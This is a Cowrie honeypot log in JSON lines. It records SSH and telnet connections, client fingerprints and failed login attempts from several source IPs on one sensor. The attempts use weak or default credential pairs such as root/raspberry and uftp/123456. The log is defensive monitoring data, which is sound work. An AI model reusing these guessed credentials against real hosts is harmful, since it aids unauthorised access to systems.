{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39736,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab419c5db46b","protocol":"ssh","message":"New connection: 37.233.85.71:39736 (159.203.135.109:22) [session: ab419c5db46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.712040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.721160Z","src_ip":"37.233.85.71","session":"ab419c5db46b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.838880Z","src_ip":"37.233.85.71","session":"ab419c5db46b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:05.932454Z","src_ip":"43.173.122.127","session":"3933b77c09dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qwer","message":"login attempt [root/123456qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:06.184471Z","src_ip":"37.233.85.71","session":"ab419c5db46b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.598875761032104,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:06.823179Z","src_ip":"192.119.13.58","session":"5d90cef0dbbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33378,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e28451f6af","protocol":"ssh","message":"New connection: 45.153.34.112:33378 (10.17.0.5:22) [session: 12e28451f6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:06.853364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:06.860245Z","src_ip":"45.153.34.112","session":"12e28451f6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:06.945403Z","src_ip":"45.153.34.112","session":"12e28451f6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:07.004673Z","src_ip":"43.173.122.127","session":"3933b77c09dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:07.207071Z","src_ip":"45.153.34.112","session":"12e28451f6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:07.297642Z","src_ip":"37.233.85.71","session":"ab419c5db46b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:08.294538Z","src_ip":"45.153.34.112","session":"12e28451f6af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":60410,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e90aabfda9","protocol":"ssh","message":"New connection: 170.238.160.191:60410 (10.17.0.5:22) [session: d2e90aabfda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:08.595173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:08.601728Z","src_ip":"170.238.160.191","session":"d2e90aabfda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:08.721785Z","src_ip":"170.238.160.191","session":"d2e90aabfda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.072014570236206,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:08.747334Z","src_ip":"192.119.13.58","session":"83a53ef4892b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dick","message":"login attempt [root/dick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:09.229166Z","src_ip":"170.238.160.191","session":"d2e90aabfda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36200,"dst_ip":"10.17.0.5","dst_port":22,"session":"a47bb7874fe2","protocol":"ssh","message":"New connection: 45.153.34.112:36200 (10.17.0.5:22) [session: a47bb7874fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:10.295736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:10.300635Z","src_ip":"45.153.34.112","session":"a47bb7874fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:10.351295Z","src_ip":"170.238.160.191","session":"d2e90aabfda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:10.383530Z","src_ip":"45.153.34.112","session":"a47bb7874fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:10.632897Z","src_ip":"45.153.34.112","session":"a47bb7874fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42354,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c98a2540066","protocol":"ssh","message":"New connection: 193.32.162.145:42354 (10.17.0.5:22) [session: 8c98a2540066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:11.085741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:11.137567Z","src_ip":"193.32.162.145","session":"8c98a2540066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:11.192991Z","src_ip":"193.32.162.145","session":"8c98a2540066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:11.637909Z","src_ip":"193.32.162.145","session":"8c98a2540066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:11.846494Z","src_ip":"45.153.34.112","session":"a47bb7874fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83277344703674,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:12.259016Z","src_ip":"192.119.13.58","session":"b1387c4f6cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:12.741410Z","src_ip":"193.32.162.145","session":"8c98a2540066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33798,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de4901cf4c4","protocol":"telnet","message":"New connection: 192.119.13.58:33798 (10.17.0.5:23) [session: 2de4901cf4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:13.522074Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36202,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8b567f7408","protocol":"ssh","message":"New connection: 45.153.34.112:36202 (10.17.0.5:22) [session: bd8b567f7408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:13.693464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:13.702313Z","src_ip":"45.153.34.112","session":"bd8b567f7408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:13.784399Z","src_ip":"45.153.34.112","session":"bd8b567f7408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:14.206989Z","src_ip":"45.153.34.112","session":"bd8b567f7408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":53466,"dst_ip":"10.17.0.5","dst_port":22,"session":"09afee7b9788","protocol":"ssh","message":"New connection: 43.134.175.218:53466 (10.17.0.5:22) [session: 09afee7b9788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:15.197568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:15.203556Z","src_ip":"43.134.175.218","session":"09afee7b9788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:15.292476Z","src_ip":"45.153.34.112","session":"bd8b567f7408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:15.449430Z","src_ip":"43.134.175.218","session":"09afee7b9788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5d2b229fc6","protocol":"telnet","message":"New connection: 192.119.13.58:44402 (10.17.0.5:23) [session: 7e5d2b229fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:15.868603Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:16.467368Z","src_ip":"43.134.175.218","session":"09afee7b9788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36218,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a8fa88349f","protocol":"ssh","message":"New connection: 45.153.34.112:36218 (10.17.0.5:22) [session: 79a8fa88349f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:17.242431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:17.252011Z","src_ip":"45.153.34.112","session":"79a8fa88349f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:17.335132Z","src_ip":"45.153.34.112","session":"79a8fa88349f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:17.581020Z","src_ip":"45.153.34.112","session":"79a8fa88349f","protocol":"ssh"}
